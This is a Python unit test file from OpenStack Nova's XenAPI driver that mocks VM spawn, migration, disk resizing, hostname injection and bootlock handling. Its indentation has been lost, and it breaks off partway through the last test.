# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from eventlet import greenthread
import mock
from nova.compute import power_state
from nova.compute import task_states
from nova import exception
from nova.objects import instance as instance_obj
from nova.pci import pci_manager
from nova import test
from nova.tests import fake_instance
from nova.tests.virt.xenapi import stubs
from nova.virt import fake
from nova.virt.xenapi import agent as xenapi_agent
from nova.virt.xenapi.client import session as xenapi_session
from nova.virt.xenapi import fake as xenapi_fake
from nova.virt.xenapi import vm_utils
from nova.virt.xenapi import vmops
from nova.virt.xenapi import volumeops
class VMOpsTestBase(stubs.XenAPITestBaseNoDB):
def setUp(self):
super(VMOpsTestBase, self).setUp()
self._setup_mock_vmops()
self.vms = []
def _setup_mock_vmops(self, product_brand=None, product_version=None):
stubs.stubout_session(self.stubs, xenapi_fake.SessionBase)
self._session = xenapi_session.XenAPISession('test_url', 'root',
'test_pass')
self.vmops = vmops.VMOps(self._session, fake.FakeVirtAPI())
def create_vm(self, name, state="Running"):
vm_ref = xenapi_fake.create_vm(name, state)
self.vms.append(vm_ref)
vm = xenapi_fake.get_record("VM", vm_ref)
return vm, vm_ref
def tearDown(self):
super(VMOpsTestBase, self).tearDown()
for vm in self.vms:
xenapi_fake.destroy_vm(vm)
class VMOpsTestCase(VMOpsTestBase):
def setUp(self):
super(VMOpsTestCase, self).setUp()
self._setup_mock_vmops()
def _setup_mock_vmops(self, product_brand=None, product_version=None):
self._session = self._get_mock_session(product_brand, product_version)
self._vmops = vmops.VMOps(self._session, fake.FakeVirtAPI())
def _get_mock_session(self, product_brand, product_version):
class Mock(object):
pass
mock_session = Mock()
mock_session.product_brand = product_brand
mock_session.product_version = product_version
return mock_session
def _test_finish_revert_migration_after_crash(self, backup_made, new_made,
vm_shutdown=True):
instance = {'name': 'foo',
'task_state': task_states.RESIZE_MIGRATING}
context = 'fake_context'
self.mox.StubOutWithMock(vm_utils, 'lookup')
self.mox.StubOutWithMock(self._vmops, '_destroy')
self.mox.StubOutWithMock(vm_utils, 'set_vm_name_label')
self.mox.StubOutWithMock(self._vmops, '_attach_mapped_block_devices')
self.mox.StubOutWithMock(self._vmops, '_start')
self.mox.StubOutWithMock(vm_utils, 'is_vm_shutdown')
vm_utils.lookup(self._session, 'foo-orig').AndReturn(
backup_made and 'foo' or None)
vm_utils.lookup(self._session, 'foo').AndReturn(
(not backup_made or new_made) and 'foo' or None)
if backup_made:
if new_made:
self._vmops._destroy(instance, 'foo')
vm_utils.set_vm_name_label(self._session, 'foo', 'foo')
self._vmops._attach_mapped_block_devices(instance, [])
vm_utils.is_vm_shutdown(self._session, 'foo').AndReturn(vm_shutdown)
if vm_shutdown:
self._vmops._start(instance, 'foo')
self.mox.ReplayAll()
self._vmops.finish_revert_migration(context, instance, [])
def test_finish_revert_migration_after_crash(self):
self._test_finish_revert_migration_after_crash(True, True)
def test_finish_revert_migration_after_crash_before_new(self):
self._test_finish_revert_migration_after_crash(True, False)
def test_finish_revert_migration_after_crash_before_backup(self):
self._test_finish_revert_migration_after_crash(False, False)
def test_xsm_sr_check_relaxed_cached(self):
self.make_plugin_call_count = 0
def fake_make_plugin_call(plugin, method, **args):
self.make_plugin_call_count = self.make_plugin_call_count + 1
return "true"
self.stubs.Set(self._vmops, "_make_plugin_call",
fake_make_plugin_call)
self.assertTrue(self._vmops._is_xsm_sr_check_relaxed())
self.assertTrue(self._vmops._is_xsm_sr_check_relaxed())
self.assertEqual(self.make_plugin_call_count, 1)
def test_get_vm_opaque_ref_raises_instance_not_found(self):
instance = {"name": "dummy"}
self.mox.StubOutWithMock(vm_utils, 'lookup')
vm_utils.lookup(self._session, instance['name'], False).AndReturn(None)
self.mox.ReplayAll()
self.assertRaises(exception.InstanceNotFound,
self._vmops._get_vm_opaque_ref, instance)
class InjectAutoDiskConfigTestCase(VMOpsTestBase):
def setUp(self):
super(InjectAutoDiskConfigTestCase, self).setUp()
def test_inject_auto_disk_config_when_present(self):
vm, vm_ref = self.create_vm("dummy")
instance = {"name": "dummy", "uuid": "1234", "auto_disk_config": True}
self.vmops._inject_auto_disk_config(instance, vm_ref)
xenstore_data = vm['xenstore_data']
self.assertEqual(xenstore_data['vm-data/auto-disk-config'], 'True')
def test_inject_auto_disk_config_none_as_false(self):
vm, vm_ref = self.create_vm("dummy")
instance = {"name": "dummy", "uuid": "1234", "auto_disk_config": None}
self.vmops._inject_auto_disk_config(instance, vm_ref)
xenstore_data = vm['xenstore_data']
self.assertEqual(xenstore_data['vm-data/auto-disk-config'], 'False')
class GetConsoleOutputTestCase(VMOpsTestBase):
def setUp(self):
super(GetConsoleOutputTestCase, self).setUp()
def test_get_console_output_works(self):
self.mox.StubOutWithMock(self.vmops, '_get_dom_id')
instance = {"name": "dummy"}
self.vmops._get_dom_id(instance, check_rescue=True).AndReturn(42)
self.mox.ReplayAll()
self.assertEqual("dom_id: 42", self.vmops.get_console_output(instance))
def test_get_console_output_throws_nova_exception(self):
self.mox.StubOutWithMock(self.vmops, '_get_dom_id')
instance = {"name": "dummy"}
# dom_id=0 used to trigger exception in fake XenAPI
self.vmops._get_dom_id(instance, check_rescue=True).AndReturn(0)
self.mox.ReplayAll()
self.assertRaises(exception.NovaException,
self.vmops.get_console_output, instance)
def test_get_dom_id_works(self):
instance = {"name": "dummy"}
vm, vm_ref = self.create_vm("dummy")
self.assertEqual(vm["domid"], self.vmops._get_dom_id(instance))
def test_get_dom_id_works_with_rescue_vm(self):
instance = {"name": "dummy"}
vm, vm_ref = self.create_vm("dummy-rescue")
self.assertEqual(vm["domid"],
self.vmops._get_dom_id(instance, check_rescue=True))
def test_get_dom_id_raises_not_found(self):
instance = {"name": "dummy"}
self.create_vm("not-dummy")
self.assertRaises(exception.NotFound, self.vmops._get_dom_id, instance)
def test_get_dom_id_works_with_vmref(self):
vm, vm_ref = self.create_vm("dummy")
self.assertEqual(vm["domid"],
self.vmops._get_dom_id(vm_ref=vm_ref))
class SpawnTestCase(VMOpsTestBase):
def _stub_out_common(self):
self.mox.StubOutWithMock(self.vmops, '_ensure_instance_name_unique')
self.mox.StubOutWithMock(self.vmops, '_ensure_enough_free_mem')
self.mox.StubOutWithMock(self.vmops, '_update_instance_progress')
self.mox.StubOutWithMock(vm_utils, 'determine_disk_image_type')
self.mox.StubOutWithMock(vm_utils, 'get_vdis_for_instance')
self.mox.StubOutWithMock(vm_utils, 'safe_destroy_vdis')
self.mox.StubOutWithMock(self.vmops, '_resize_up_vdis')
self.mox.StubOutWithMock(vm_utils,
'create_kernel_and_ramdisk')
self.mox.StubOutWithMock(vm_utils, 'destroy_kernel_ramdisk')
self.mox.StubOutWithMock(self.vmops, '_create_vm_record')
self.mox.StubOutWithMock(self.vmops, '_destroy')
self.mox.StubOutWithMock(self.vmops, '_attach_disks')
self.mox.StubOutWithMock(pci_manager, 'get_instance_pci_devs')
self.mox.StubOutWithMock(vm_utils, 'set_other_config_pci')
self.mox.StubOutWithMock(self.vmops, '_attach_orig_disk_for_rescue')
self.mox.StubOutWithMock(self.vmops, 'inject_network_info')
self.mox.StubOutWithMock(self.vmops, '_inject_hostname')
self.mox.StubOutWithMock(self.vmops, '_inject_instance_metadata')
self.mox.StubOutWithMock(self.vmops, '_inject_auto_disk_config')
self.mox.StubOutWithMock(self.vmops, '_file_inject_vm_settings')
self.mox.StubOutWithMock(self.vmops, '_create_vifs')
self.mox.StubOutWithMock(self.vmops.firewall_driver,
'setup_basic_filtering')
self.mox.StubOutWithMock(self.vmops.firewall_driver,
'prepare_instance_filter')
self.mox.StubOutWithMock(self.vmops, '_start')
self.mox.StubOutWithMock(self.vmops, '_wait_for_instance_to_start')
self.mox.StubOutWithMock(self.vmops,
'_configure_new_instance_with_agent')
self.mox.StubOutWithMock(self.vmops, '_remove_hostname')
self.mox.StubOutWithMock(self.vmops.firewall_driver,
'apply_instance_filter')
def _test_spawn(self, name_label_param=None, block_device_info_param=None,
rescue=False, include_root_vdi=True, throw_exception=None,
attach_pci_dev=False):
self._stub_out_common()
instance = {"name": "dummy", "uuid": "fake_uuid"}
name_label = name_label_param
if name_label is None:
name_label = "dummy"
image_meta = {"id": "image_id"}
context = "context"
session = self.vmops._session
injected_files = "fake_files"
admin_password = "password"
network_info = "net_info"
steps = 10
if rescue:
steps += 1
block_device_info = block_device_info_param
if block_device_info and not block_device_info['root_device_name']:
block_device_info = dict(block_device_info_param)
block_device_info['root_device_name'] = \
self.vmops.default_root_dev
di_type = "di_type"
vm_utils.determine_disk_image_type(image_meta).AndReturn(di_type)
step = 1
self.vmops._update_instance_progress(context, instance, step, steps)
vdis = {"other": {"ref": "fake_ref_2", "osvol": True}}
if include_root_vdi:
vdis["root"] = {"ref": "fake_ref"}
vm_utils.get_vdis_for_instance(context, session, instance, name_label,
"image_id", di_type,
block_device_info=block_device_info).AndReturn(vdis)
self.vmops._resize_up_vdis(instance, vdis)
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
kernel_file = "kernel"
ramdisk_file = "ramdisk"
vm_utils.create_kernel_and_ramdisk(context, session,
instance, name_label).AndReturn((kernel_file, ramdisk_file))
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
vm_ref = "fake_vm_ref"
self.vmops._ensure_instance_name_unique(name_label)
self.vmops._ensure_enough_free_mem(instance)
self.vmops._create_vm_record(context, instance, name_label,
di_type, kernel_file,
ramdisk_file, image_meta).AndReturn(vm_ref)
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
self.vmops._attach_disks(instance, vm_ref, name_label, vdis, di_type,
network_info, admin_password, injected_files)
if attach_pci_dev:
fake_dev = {
'created_at': None,
'updated_at': None,
'deleted_at': None,
'deleted': None,
'id': 1,
'compute_node_id': 1,
'address': '00:00.0',
'vendor_id': '1234',
'product_id': 'abcd',
'dev_type': 'type-PCI',
'status': 'available',
'dev_id': 'devid',
'label': 'label',
'instance_uuid': None,
'extra_info': '{}',
}
pci_manager.get_instance_pci_devs(instance).AndReturn([fake_dev])
vm_utils.set_other_config_pci(self.vmops._session,
vm_ref,
"0/0000:00:00.0")
else:
pci_manager.get_instance_pci_devs(instance).AndReturn([])
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
self.vmops._inject_instance_metadata(instance, vm_ref)
self.vmops._inject_auto_disk_config(instance, vm_ref)
self.vmops._inject_hostname(instance, vm_ref, rescue)
self.vmops._file_inject_vm_settings(instance, vm_ref, vdis,
network_info)
self.vmops.inject_network_info(instance, network_info, vm_ref)
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
self.vmops._create_vifs(instance, vm_ref, network_info)
self.vmops.firewall_driver.setup_basic_filtering(instance,
network_info).AndRaise(NotImplementedError)
self.vmops.firewall_driver.prepare_instance_filter(instance,
network_info)
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
if rescue:
self.vmops._attach_orig_disk_for_rescue(instance, vm_ref)
step += 1
self.vmops._update_instance_progress(context, instance, step,
steps)
self.vmops._start(instance, vm_ref)
self.vmops._wait_for_instance_to_start(instance, vm_ref)
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
self.vmops._configure_new_instance_with_agent(instance, vm_ref,
injected_files, admin_password)
self.vmops._remove_hostname(instance, vm_ref)
step += 1
self.vmops._update_instance_progress(context, instance, step, steps)
self.vmops.firewall_driver.apply_instance_filter(instance,
network_info)
step += 1
last_call = self.vmops._update_instance_progress(context, instance,
step, steps)
if throw_exception:
last_call.AndRaise(throw_exception)
self.vmops._destroy(instance, vm_ref, network_info=network_info)
vm_utils.destroy_kernel_ramdisk(self.vmops._session, instance,
kernel_file, ramdisk_file)
vm_utils.safe_destroy_vdis(self.vmops._session, ["fake_ref"])
self.mox.ReplayAll()
self.vmops.spawn(context, instance, image_meta, injected_files,
admin_password, network_info,
block_device_info_param, name_label_param, rescue)
def test_spawn(self):
self._test_spawn()
def test_spawn_with_alternate_options(self):
self._test_spawn(include_root_vdi=False, rescue=True,
name_label_param="bob",
block_device_info_param={"root_device_name": ""})
def test_spawn_with_pci_available_on_the_host(self):
self._test_spawn(attach_pci_dev=True)
def test_spawn_performs_rollback_and_throws_exception(self):
self.assertRaises(test.TestingException, self._test_spawn,
throw_exception=test.TestingException())
def _test_finish_migration(self, power_on=True, resize_instance=True,
throw_exception=None):
self._stub_out_common()
self.mox.StubOutWithMock(vm_utils, "import_all_migrated_disks")
self.mox.StubOutWithMock(self.vmops, "_attach_mapped_block_devices")
context = "context"
migration = {}
name_label = "dummy"
instance = {"name": name_label, "uuid": "fake_uuid"}
disk_info = "disk_info"
network_info = "net_info"
image_meta = {"id": "image_id"}
block_device_info = "bdi"
session = self.vmops._session
self.vmops._ensure_instance_name_unique(name_label)
self.vmops._ensure_enough_free_mem(instance)
di_type = "di_type"
vm_utils.determine_disk_image_type(image_meta).AndReturn(di_type)
root_vdi = {"ref": "fake_ref"}
ephemeral_vdi = {"ref": "fake_ref_e"}
vdis = {"root": root_vdi, "ephemerals": {4: ephemeral_vdi}}
vm_utils.import_all_migrated_disks(self.vmops._session,
instance).AndReturn(vdis)
kernel_file = "kernel"
ramdisk_file = "ramdisk"
vm_utils.create_kernel_and_ramdisk(context, session,
instance, name_label).AndReturn((kernel_file, ramdisk_file))
vm_ref = "fake_vm_ref"
self.vmops._create_vm_record(context, instance, name_label,
di_type, kernel_file,
ramdisk_file, image_meta).AndReturn(vm_ref)
if resize_instance:
self.vmops._resize_up_vdis(instance, vdis)
self.vmops._attach_disks(instance, vm_ref, name_label, vdis, di_type,
network_info, None, None)
self.vmops._attach_mapped_block_devices(instance, block_device_info)
pci_manager.get_instance_pci_devs(instance).AndReturn([])
self.vmops._inject_instance_metadata(instance, vm_ref)
self.vmops._inject_auto_disk_config(instance, vm_ref)
self.vmops._file_inject_vm_settings(instance, vm_ref, vdis,
network_info)
self.vmops.inject_network_info(instance, network_info, vm_ref)
self.vmops._create_vifs(instance, vm_ref, network_info)
self.vmops.firewall_driver.setup_basic_filtering(instance,
network_info).AndRaise(NotImplementedError)
self.vmops.firewall_driver.prepare_instance_filter(instance,
network_info)
if power_on:
self.vmops._start(instance, vm_ref)
self.vmops._wait_for_instance_to_start(instance, vm_ref)
self.vmops.firewall_driver.apply_instance_filter(instance,
network_info)
last_call = self.vmops._update_instance_progress(context, instance,
step=5, total_steps=5)
if throw_exception:
last_call.AndRaise(throw_exception)
self.vmops._destroy(instance, vm_ref, network_info=network_info)
vm_utils.destroy_kernel_ramdisk(self.vmops._session, instance,
kernel_file, ramdisk_file)
vm_utils.safe_destroy_vdis(self.vmops._session,
["fake_ref_e", "fake_ref"])
self.mox.ReplayAll()
self.vmops.finish_migration(context, migration, instance, disk_info,
network_info, image_meta, resize_instance,
block_device_info, power_on)
def test_finish_migration(self):
self._test_finish_migration()
def test_finish_migration_no_power_on(self):
self._test_finish_migration(power_on=False, resize_instance=False)
def test_finish_migrate_performs_rollback_on_error(self):
self.assertRaises(test.TestingException, self._test_finish_migration,
power_on=False, resize_instance=False,
throw_exception=test.TestingException())
def test_remove_hostname(self):
vm, vm_ref = self.create_vm("dummy")
instance = {"name": "dummy", "uuid": "1234", "auto_disk_config": None}
self.mox.StubOutWithMock(self._session, 'call_xenapi')
self._session.call_xenapi("VM.remove_from_xenstore_data", vm_ref,
"vm-data/hostname")
self.mox.ReplayAll()
self.vmops._remove_hostname(instance, vm_ref)
self.mox.VerifyAll()
def test_reset_network(self):
class mock_agent(object):
def __init__(self):
self.called = False
def resetnetwork(self):
self.called = True
vm, vm_ref = self.create_vm("dummy")
instance = {"name": "dummy", "uuid": "1234", "auto_disk_config": None}
agent = mock_agent()
self.mox.StubOutWithMock(self.vmops, 'agent_enabled')
self.mox.StubOutWithMock(self.vmops, '_get_agent')
self.mox.StubOutWithMock(self.vmops, '_inject_hostname')
self.mox.StubOutWithMock(self.vmops, '_remove_hostname')
self.vmops.agent_enabled(instance).AndReturn(True)
self.vmops._get_agent(instance, vm_ref).AndReturn(agent)
self.vmops._inject_hostname(instance, vm_ref, False)
self.vmops._remove_hostname(instance, vm_ref)
self.mox.ReplayAll()
self.vmops.reset_network(instance)
self.assertTrue(agent.called)
self.mox.VerifyAll()
def test_inject_hostname(self):
instance = {"hostname": "dummy", "os_type": "fake", "uuid": "uuid"}
vm_ref = "vm_ref"
self.mox.StubOutWithMock(self.vmops, '_add_to_param_xenstore')
self.vmops._add_to_param_xenstore(vm_ref, 'vm-data/hostname', 'dummy')
self.mox.ReplayAll()
self.vmops._inject_hostname(instance, vm_ref, rescue=False)
def test_inject_hostname_with_rescue_prefix(self):
instance = {"hostname": "dummy", "os_type": "fake", "uuid": "uuid"}
vm_ref = "vm_ref"
self.mox.StubOutWithMock(self.vmops, '_add_to_param_xenstore')
self.vmops._add_to_param_xenstore(vm_ref, 'vm-data/hostname',
'RESCUE-dummy')
self.mox.ReplayAll()
self.vmops._inject_hostname(instance, vm_ref, rescue=True)
def test_inject_hostname_with_windows_name_truncation(self):
instance = {"hostname": "dummydummydummydummydummy",
"os_type": "windows", "uuid": "uuid"}
vm_ref = "vm_ref"
self.mox.StubOutWithMock(self.vmops, '_add_to_param_xenstore')
self.vmops._add_to_param_xenstore(vm_ref, 'vm-data/hostname',
'RESCUE-dummydum')
self.mox.ReplayAll()
self.vmops._inject_hostname(instance, vm_ref, rescue=True)
def test_wait_for_instance_to_start(self):
instance = {"uuid": "uuid"}
vm_ref = "vm_ref"
self.mox.StubOutWithMock(vm_utils, 'get_power_state')
self.mox.StubOutWithMock(greenthread, 'sleep')
vm_utils.get_power_state(self._session, vm_ref).AndReturn(
power_state.SHUTDOWN)
greenthread.sleep(0.5)
vm_utils.get_power_state(self._session, vm_ref).AndReturn(
power_state.RUNNING)
self.mox.ReplayAll()
self.vmops._wait_for_instance_to_start(instance, vm_ref)
def test_attach_orig_disk_for_rescue(self):
instance = {"name": "dummy"}
vm_ref = "vm_ref"
self.mox.StubOutWithMock(vm_utils, 'lookup')
self.mox.StubOutWithMock(self.vmops, '_find_root_vdi_ref')
self.mox.StubOutWithMock(vm_utils, 'create_vbd')
vm_utils.lookup(self.vmops._session, "dummy").AndReturn("ref")
self.vmops._find_root_vdi_ref("ref").AndReturn("vdi_ref")
vm_utils.create_vbd(self.vmops._session, vm_ref, "vdi_ref",
vmops.DEVICE_RESCUE, bootable=False)
self.mox.ReplayAll()
self.vmops._attach_orig_disk_for_rescue(instance, vm_ref)
def test_agent_update_setup(self):
# agent updates need to occur after networking is configured
instance = {'name': 'betelgeuse',
'uuid': '1-2-3-4-5-6'}
vm_ref = 'vm_ref'
agent = xenapi_agent.XenAPIBasedAgent(self.vmops._session,
self.vmops._virtapi, instance, vm_ref)
self.mox.StubOutWithMock(xenapi_agent, 'should_use_agent')
self.mox.StubOutWithMock(self.vmops, '_get_agent')
self.mox.StubOutWithMock(agent, 'get_version')
self.mox.StubOutWithMock(agent, 'resetnetwork')
self.mox.StubOutWithMock(agent, 'update_if_needed')
xenapi_agent.should_use_agent(instance).AndReturn(True)
self.vmops._get_agent(instance, vm_ref).AndReturn(agent)
agent.get_version().AndReturn('1.2.3')
agent.resetnetwork()
agent.update_if_needed('1.2.3')
self.mox.ReplayAll()
self.vmops._configure_new_instance_with_agent(instance, vm_ref,
None, None)
@mock.patch.object(vmops.VMOps, '_update_instance_progress')
@mock.patch.object(vmops.VMOps, '_get_vm_opaque_ref')
@mock.patch.object(vm_utils, 'get_sr_path')
@mock.patch.object(vmops.VMOps, '_detach_block_devices_from_orig_vm')
@mock.patch.object(vmops.VMOps, '_migrate_disk_resizing_down')
@mock.patch.object(vmops.VMOps, '_migrate_disk_resizing_up')
class MigrateDiskAndPowerOffTestCase(VMOpsTestBase):
def test_migrate_disk_and_power_off_works_down(self,
migrate_up, migrate_down, *mocks):
instance = {"root_gb": 2, "ephemeral_gb": 0, "uuid": "uuid"}
flavor = {"root_gb": 1, "ephemeral_gb": 0}
self.vmops.migrate_disk_and_power_off(None, instance, None,
flavor, None)
self.assertFalse(migrate_up.called)
self.assertTrue(migrate_down.called)
def test_migrate_disk_and_power_off_works_up(self,
migrate_up, migrate_down, *mocks):
instance = {"root_gb": 1, "ephemeral_gb": 1, "uuid": "uuid"}
flavor = {"root_gb": 2, "ephemeral_gb": 2}
self.vmops.migrate_disk_and_power_off(None, instance, None,
flavor, None)
self.assertFalse(migrate_down.called)
self.assertTrue(migrate_up.called)
def test_migrate_disk_and_power_off_resize_down_ephemeral_fails(self,
migrate_up, migrate_down, *mocks):
instance = {"ephemeral_gb": 2}
flavor = {"ephemeral_gb": 1}
self.assertRaises(exception.ResizeError,
self.vmops.migrate_disk_and_power_off,
None, instance, None, flavor, None)
@mock.patch.object(vm_utils, 'migrate_vhd')
@mock.patch.object(vmops.VMOps, '_resize_ensure_vm_is_shutdown')
@mock.patch.object(vm_utils, 'get_all_vdi_uuids_for_vm')
@mock.patch.object(vmops.VMOps, '_update_instance_progress')
@mock.patch.object(vmops.VMOps, '_apply_orig_vm_name_label')
class MigrateDiskResizingUpTestCase(VMOpsTestBase):
def _fake_snapshot_attached_here(self, session, instance, vm_ref, label,
userdevice, post_snapshot_callback):
self.assertIsInstance(instance, dict)
if userdevice == '0':
self.assertEqual("vm_ref", vm_ref)
self.assertEqual("fake-snapshot", label)
yield ["leaf", "parent", "grandp"]
else:
leaf = userdevice + "-leaf"
parent = userdevice + "-parent"
yield [leaf, parent]
def test_migrate_disk_resizing_up_works_no_ephemeral(self,
mock_apply_orig, mock_update_progress, mock_get_all_vdi_uuids,
mock_shutdown, mock_migrate_vhd):
context = "ctxt"
instance = {"name": "fake", "uuid": "uuid"}
dest = "dest"
vm_ref = "vm_ref"
sr_path = "sr_path"
mock_get_all_vdi_uuids.return_value = None
with mock.patch.object(vm_utils, '_snapshot_attached_here_impl',
self._fake_snapshot_attached_here):
self.vmops._migrate_disk_resizing_up(context, instance, dest,
vm_ref, sr_path)
mock_get_all_vdi_uuids.assert_called_once_with(self.vmops._session,
vm_ref, min_userdevice=4)
mock_apply_orig.assert_called_once_with(instance, vm_ref)
mock_shutdown.assert_called_once_with(instance, vm_ref)
m_vhd_expected = [mock.call(self.vmops._session, instance, "parent",
dest, sr_path, 1),
mock.call(self.vmops._session, instance, "grandp",
dest, sr_path, 2),
mock.call(self.vmops._session, instance, "leaf",
dest, sr_path, 0)]
self.assertEqual(m_vhd_expected, mock_migrate_vhd.call_args_list)
prog_expected = [
mock.call(context, instance, 1, 5),
mock.call(context, instance, 2, 5),
mock.call(context, instance, 3, 5),
mock.call(context, instance, 4, 5)
# 5/5: step to be executed by finish migration.
]
self.assertEqual(prog_expected, mock_update_progress.call_args_list)
def test_migrate_disk_resizing_up_works_with_two_ephemeral(self,
mock_apply_orig, mock_update_progress, mock_get_all_vdi_uuids,
mock_shutdown, mock_migrate_vhd):
context = "ctxt"
instance = {"name": "fake", "uuid": "uuid"}
dest = "dest"
vm_ref = "vm_ref"
sr_path = "sr_path"
mock_get_all_vdi_uuids.return_value = ["vdi-eph1", "vdi-eph2"]
with mock.patch.object(vm_utils, '_snapshot_attached_here_impl',
self._fake_snapshot_attached_here):
self.vmops._migrate_disk_resizing_up(context, instance, dest,
vm_ref, sr_path)
mock_get_all_vdi_uuids.assert_called_once_with(self.vmops._session,
vm_ref, min_userdevice=4)
mock_apply_orig.assert_called_once_with(instance, vm_ref)
mock_shutdown.assert_called_once_with(instance, vm_ref)
m_vhd_expected = [mock.call(self.vmops._session, instance,
"parent", dest, sr_path, 1),
mock.call(self.vmops._session, instance,
"grandp", dest, sr_path, 2),
mock.call(self.vmops._session, instance,
"4-parent", dest, sr_path, 1, 1),
mock.call(self.vmops._session, instance,
"5-parent", dest, sr_path, 1, 2),
mock.call(self.vmops._session, instance,
"leaf", dest, sr_path, 0),
mock.call(self.vmops._session, instance,
"4-leaf", dest, sr_path, 0, 1),
mock.call(self.vmops._session, instance,
"5-leaf", dest, sr_path, 0, 2)]
self.assertEqual(m_vhd_expected, mock_migrate_vhd.call_args_list)
prog_expected = [
mock.call(context, instance, 1, 5),
mock.call(context, instance, 2, 5),
mock.call(context, instance, 3, 5),
mock.call(context, instance, 4, 5)
# 5/5: step to be executed by finish migration.
]
self.assertEqual(prog_expected, mock_update_progress.call_args_list)
@mock.patch.object(vmops.VMOps, '_restore_orig_vm_and_cleanup_orphan')
def test_migrate_disk_resizing_up_rollback(self,
mock_restore,
mock_apply_orig, mock_update_progress, mock_get_all_vdi_uuids,
mock_shutdown, mock_migrate_vhd):
context = "ctxt"
instance = {"name": "fake", "uuid": "fake"}
dest = "dest"
vm_ref = "vm_ref"
sr_path = "sr_path"
mock_migrate_vhd.side_effect = test.TestingException
mock_restore.side_effect = test.TestingException
with mock.patch.object(vm_utils, '_snapshot_attached_here_impl',
self._fake_snapshot_attached_here):
self.assertRaises(exception.InstanceFaultRollback,
self.vmops._migrate_disk_resizing_up,
context, instance, dest, vm_ref, sr_path)
mock_apply_orig.assert_called_once_with(instance, vm_ref)
mock_restore.assert_called_once_with(instance)
mock_migrate_vhd.assert_called_once_with(self.vmops._session,
instance, "parent", dest, sr_path, 1)
class CreateVMRecordTestCase(VMOpsTestBase):
@mock.patch.object(vm_utils, 'determine_vm_mode')
@mock.patch.object(vm_utils, 'get_vm_device_id')
@mock.patch.object(vm_utils, 'create_vm')
def test_create_vm_record_with_vm_device_id(self, mock_create_vm,
mock_get_vm_device_id, mock_determine_vm_mode):
context = "context"
instance = instance_obj.Instance(vm_mode="vm_mode", uuid="uuid123")
name_label = "dummy"
disk_image_type = "vhd"
kernel_file = "kernel"
ramdisk_file = "ram"
device_id = "0002"
image_properties = {"xenapi_device_id": device_id}
image_meta = {"properties": image_properties}
session = "session"
self.vmops._session = session
mock_get_vm_device_id.return_value = device_id
mock_determine_vm_mode.return_value = "vm_mode"
self.vmops._create_vm_record(context, instance, name_label,
disk_image_type, kernel_file, ramdisk_file, image_meta)
mock_get_vm_device_id.assert_called_with(session, image_properties)
mock_create_vm.assert_called_with(session, instance, name_label,
kernel_file, ramdisk_file, False, device_id)
class BootableTestCase(VMOpsTestBase):
def setUp(self):
super(BootableTestCase, self).setUp()
self.instance = {"name": "test", "uuid": "fake"}
vm_rec, self.vm_ref = self.create_vm('test')
# sanity check bootlock is initially disabled:
self.assertEqual({}, vm_rec['blocked_operations'])
def _get_blocked(self):
vm_rec = self._session.call_xenapi("VM.get_record", self.vm_ref)
return vm_rec['blocked_operations']
def test_acquire_bootlock(self):
self.vmops._acquire_bootlock(self.vm_ref)
blocked = self._get_blocked()
self.assertIn('start', blocked)
def test_release_bootlock(self):
self.vmops._acquire_bootlock(self.vm_ref)
self.vmops._release_bootlock(self.vm_ref)
blocked = self._get_blocked()
self.assertNotIn('start', blocked)
def test_set_bootable(self):
self.vmops.set_bootable(self.instance, True)
blocked = self._get_blocked()
self.assertNotIn('start', blocked)
def test_set_not_bootable(self):
self.vmops.set_bootable(self.instance, False)
blocked = self._get_blocked()
self.assertIn('start', blocked)
@mock.patch.object(vm_utils, 'update_vdi_virtual_size', autospec=True)
class ResizeVdisTestCase(VMOpsTestBase):
def test_dont_resize_root_volumes_osvol_false(self, mock_resize):
instance = fake_instance.fake_db_instance(root_gb=20)
vdis = {'root': {'osvol': False, 'ref': 'vdi_ref'}}
self.vmops._resize_up_vdis(instance, vdis)
self.assertTrue(mock_resize.called)
def test_dont_resize_root_volumes_osvol_true(self, mock_resize):
instance = fake_instance.fake_db_instance(root_gb=20)
vdis = {'root': {'osvol': True}}
self.vmops._resize_up_vdis(instance, vdis)
self.assertFalse(mock_resize.called)
def test_dont_resize_root_volumes_no_osvol(self, mock_resize):
instance = fake_instance.fake_db_instance(root_gb=20)
vdis = {'root': {}}
self.vmops._resize_up_vdis(instance, vdis)
self.assertFalse(mock_resize.called)
@mock.patch.object(vm_utils, 'get_ephemeral_disk_sizes')
def test_ensure_ephemeral_resize_with_root_volume(self, mock_sizes,
mock_resize):
mock_sizes.return_value = [2000, 1000]
instance = fake_instance.fake_db_instance(root_gb=20, ephemeral_gb=20)
ephemerals = {"4": {"ref": 4}, "5": {"ref": 5}}
vdis = {'root': {'osvol': True, 'ref': 'vdi_ref'},
'ephemerals': ephemerals}
with mock.patch.object(vm_utils, 'generate_single_ephemeral',
autospec=True) as g:
self.vmops._resize_up_vdis(instance, vdis)
self.assertEqual([mock.call(self.vmops._session, instance, 4,
2000),
mock.call(self.vmops._session, instance, 5,
1000)],
mock_resize.call_args_list)
self.assertFalse(g.called)
def test_resize_up_vdis_root(self, mock_resize):
instance = {"root_gb": 20, "ephemeral_gb": 0}
self.vmops._resize_up_vdis(instance, {"root": {"ref": "vdi_ref"}})
mock_resize.assert_called_once_with(self.vmops._session, instance,
"vdi_ref", 20)
def test_resize_up_vdis_zero_disks(self, mock_resize):
instance = {"root_gb": 0, "ephemeral_gb": 0}
self.vmops._resize_up_vdis(instance, {"root": {}})
self.assertFalse(mock_resize.called)
def test_resize_up_vdis_no_vdis_like_initial_spawn(self, mock_resize):
instance = {"root_gb": 0, "ephemeral_gb": 3000}
vdis = {}
self.vmops._resize_up_vdis(instance, vdis)
self.assertFalse(mock_resize.called)
@mock.patch.object(vm_utils, 'get_ephemeral_disk_sizes')
def test_resize_up_vdis_ephemeral(self, mock_sizes, mock_resize):
mock_sizes.return_value = [2000, 1000]
instance = {"root_gb": 0, "ephemeral_gb": 3000}
ephemerals = {"4": {"ref": 4}, "5": {"ref": 5}}
vdis = {"ephemerals": ephemerals}
self.vmops._resize_up_vdis(instance, vdis)
mock_sizes.assert_called_once_with(3000)
expected = [mock.call(self.vmops._session, instance, 4, 2000),
